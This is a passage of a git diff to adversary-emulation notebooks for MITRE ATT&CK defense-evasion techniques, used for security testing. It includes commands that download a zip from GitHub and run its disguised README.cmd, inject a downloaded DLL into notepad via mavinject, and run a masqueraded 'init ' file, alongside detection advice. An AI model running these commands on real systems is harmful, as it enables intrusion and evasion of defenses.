\"print(\\\"running T1035.006 with space after filename to masquerade init\\\")\" | python3.9' >> \"testdirwithspaceend /init \" && echo \"exit\" >> \"testdirwithspaceend /init \" || /usr/bin/echo -e \"%d\\na\\n#!/usr/bin/perl\\nprint \\\"running T1035.006 with space after filename to masquerade init\\\\n\\\";\\nqx/cp \\/usr\\/bin\\/perl 'init '/;\\nqx/'.\\/init ' -e 'sleep 5'/;\\n.\\nwq\\n\" | ed 'testdirwithspaceend /init ' >/dev/null\nchmod +x 'testdirwithspaceend /init '\n'./testdirwithspaceend /init '\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4e2d5239", + "id": "80b06190", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e6b1d974", + "id": "52d3a8ae", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm -rf /tmp/atomic-test-T1036.006```" + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/atomic-test-T1036.006```" }, { "cell_type": "code", "execution_count": null, - "id": "733062dd", + "id": "4984ea7d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "5ebd16a6", + "id": "3a0fe13b", "metadata": {}, "source": "## Detection\nIt's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious." } @@ -68,13 +68,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.007.ipynb b/playbook/tactics/defense-evasion/T1036.007.ipynb index ce21a4f8..04922560 100644 --- a/playbook/tactics/defense-evasion/T1036.007.ipynb +++ b/playbook/tactics/defense-evasion/T1036.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bcbf3988", + "id": "698d3e05", "metadata": {}, "source": "# T1036.007 - Double File Extension\nAdversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type." }, { "cell_type": "markdown", - "id": "9d46153f", + "id": "24b5ad21", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "1310ec69", + "id": "6a7f97c3", "metadata": {}, "source": "## Detection\nMonitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.008.ipynb b/playbook/tactics/defense-evasion/T1036.008.ipynb new file mode 100644 index 00000000..91ec5a06 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1036.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "79180647", + "metadata": {}, + "source": "# T1036.008 - Masquerade File Type\nAdversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)" + }, + { + "cell_type": "markdown", + "id": "45deb9a2", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1036.009.ipynb b/playbook/tactics/defense-evasion/T1036.009.ipynb new file mode 100644 index 00000000..58192502 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1036.009.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a7ee461f", + "metadata": {}, + "source": "# T1036.009 - Break Process Trees\nAn adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) " + }, + { + "cell_type": "markdown", + "id": "d61a1c43", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1036.ipynb b/playbook/tactics/defense-evasion/T1036.ipynb index 487d7335..f3c2d67c 100644 --- a/playbook/tactics/defense-evasion/T1036.ipynb +++ b/playbook/tactics/defense-evasion/T1036.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d261f8d9", + "id": "1f795f0d", "metadata": {}, - "source": "# T1036 - Masquerading\nAdversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)" + "source": "# T1036 - Masquerading\nAdversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections." }, { "cell_type": "markdown", - "id": "8634bf0e", + "id": "09b48fa9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ddb79862", + "id": "5a3052a6", "metadata": {}, "source": [ "### Atomic Test #1 - System File Copied to Unusual Location", @@ -27,79 +27,79 @@ { "cell_type": "code", "execution_count": null, - "id": "4ae0cfa0", + "id": "4883984e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7c2cc958", + "id": "395968de", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item \"$env:allusersprofile\\cmd.exe\" -force -erroraction silentlycontinue```" }, { "cell_type": "code", "execution_count": null, - "id": "07749a3d", + "id": "4430f987", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "43eb1347", + "id": "7cb232c6", "metadata": {}, - "source": "### Atomic Test #2 - Malware Masquerading and Execution from Zip File\nWhen the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Zip file must be present.\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:userprofile\\Downloads\\T1036.zip) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile \"$env:userprofile\\Downloads\\T1036.zip\" https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip\n\n```" + "source": "### Atomic Test #2 - Malware Masquerading and Execution from Zip File\nWhen the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Zip file must be present.\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\" \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "80bd42e3", + "id": "ba6b92ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dbf8fcbe", + "id": "ad587a63", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nExpand-Archive -Path $env:userprofile\\Downloads\\T1036.zip -DestinationPath $env:userprofile\\Downloads\\T1036 -Force\ncd $env:userprofile\\Downloads\\T1036\ncmd /c $env:userprofile\\Downloads\\T1036\\README.cmd >$null 2>$null```" + "```powershell\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\" -DestinationPath \"$env:userprofile\\Downloads\\T1036\" -Force\ncd \"$env:userprofile\\Downloads\\T1036\"\ncmd /c \"$env:userprofile\\Downloads\\T1036\\README.cmd\" >$null 2>$null```" ] }, { "cell_type": "code", "execution_count": null, - "id": "18ee6b39", + "id": "8e9ede97", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bce671b3", + "id": "5f7afe57", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ntaskkill /IM Calculator.exe /f >$null 2>$null\nRemove-Item $env:userprofile\\Downloads\\T1036 -recurse -ErrorAction Ignore```" + "source": "#### Cleanup: \n```powershell\ntaskkill /IM Calculator.exe /f >$null 2>$null\nRemove-Item \"$env:userprofile\\Downloads\\T1036\" -recurse -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "ad1f6de1", + "id": "1153800d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6661584d", + "id": "7b427f00", "metadata": {}, "source": "## Detection\nCollect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d." }, { "cell_type": "markdown", - "id": "92595fa0", + "id": "d212e1dd", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can look for known files in non-standard locations or files that are creating anomalous processes or connections.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -107,13 +107,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1038.ipynb b/playbook/tactics/defense-evasion/T1038.ipynb deleted file mode 100644 index fa475856..00000000 --- a/playbook/tactics/defense-evasion/T1038.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "486798b7", - "metadata": {}, - "source": "# T1038 - DLL Search Order Hijacking\nWindows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." - }, - { - "cell_type": "markdown", - "id": "97db765c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "efa4d5bb", - "metadata": {}, - "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1045.ipynb b/playbook/tactics/defense-evasion/T1045.ipynb deleted file mode 100644 index ce28314f..00000000 --- a/playbook/tactics/defense-evasion/T1045.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9e04ab11", - "metadata": {}, - "source": "# T1045 - Software Packing\nSoftware packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)" - }, - { - "cell_type": "markdown", - "id": "9b3cff0d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "12cfc7bd", - "metadata": {}, - "source": "## Detection\nUse file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1054.ipynb b/playbook/tactics/defense-evasion/T1054.ipynb deleted file mode 100644 index fe53d429..00000000 --- a/playbook/tactics/defense-evasion/T1054.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "1a60aa2a", - "metadata": {}, - "source": "# T1054 - Indicator Blocking\nAn adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. " - }, - { - "cell_type": "markdown", - "id": "6d7c9007", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "96a8ea3b", - "metadata": {}, - "source": "## Detection\nDetect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}\n\n" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1055.001.ipynb b/playbook/tactics/defense-evasion/T1055.001.ipynb index d57bdcb2..49ac7895 100644 --- a/playbook/tactics/defense-evasion/T1055.001.ipynb +++ b/playbook/tactics/defense-evasion/T1055.001.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "0be1da29", + "id": "068271c9", "metadata": {}, "source": "# T1055.001 - Dynamic-link Library Injection\nAdversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "7c24127e", + "id": "b17a4a36", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3ba14e87", + "id": "a9d8d3de", "metadata": {}, - "source": "### Atomic Test #1 - Process Injection via mavinject.exe\nWindows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\n\n```" + "source": "### Atomic Test #1 - Process Injection via mavinject.exe\nWindows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b0ad16a8", + "id": "45254841", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "966ad0e0", + "id": "9c7e9c27", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$mypid = (Start-Process notepad -PassThru).id\nmavinject $mypid /INJECTRUNNING PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\nStop-Process -processname notepad\n```" + "```powershell\n$mypid = (Start-Process notepad -PassThru).id\nmavinject $mypid /INJECTRUNNING \"PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll\"\nStop-Process -processname notepad\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ba3f7b79", + "id": "13eacc8c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "66bd4d2e", + "id": "c9f35495", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique", @@ -58,14 +58,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2c48e395", + "id": "f772bfed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9f642ca3", + "id": "cf200d6a", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.002.ipynb b/playbook/tactics/defense-evasion/T1055.002.ipynb index 671dc3e4..814de1f1 100644 --- a/playbook/tactics/defense-evasion/T1055.002.ipynb +++ b/playbook/tactics/defense-evasion/T1055.002.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "53a872ff", + "id": "560c34ad", "metadata": {}, "source": "# T1055.002 - Portable Executable Injection\nAdversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "555c1ff5", + "id": "a97c6708", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "23588695", + "id": "ee87d48d", + "metadata": {}, + "source": "### Atomic Test #1 - Portable Executable Injection\nThis test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title \"Warning\" and the content \"Atomic Red Team\" after a few seconds.\n**Supported Platforms:** 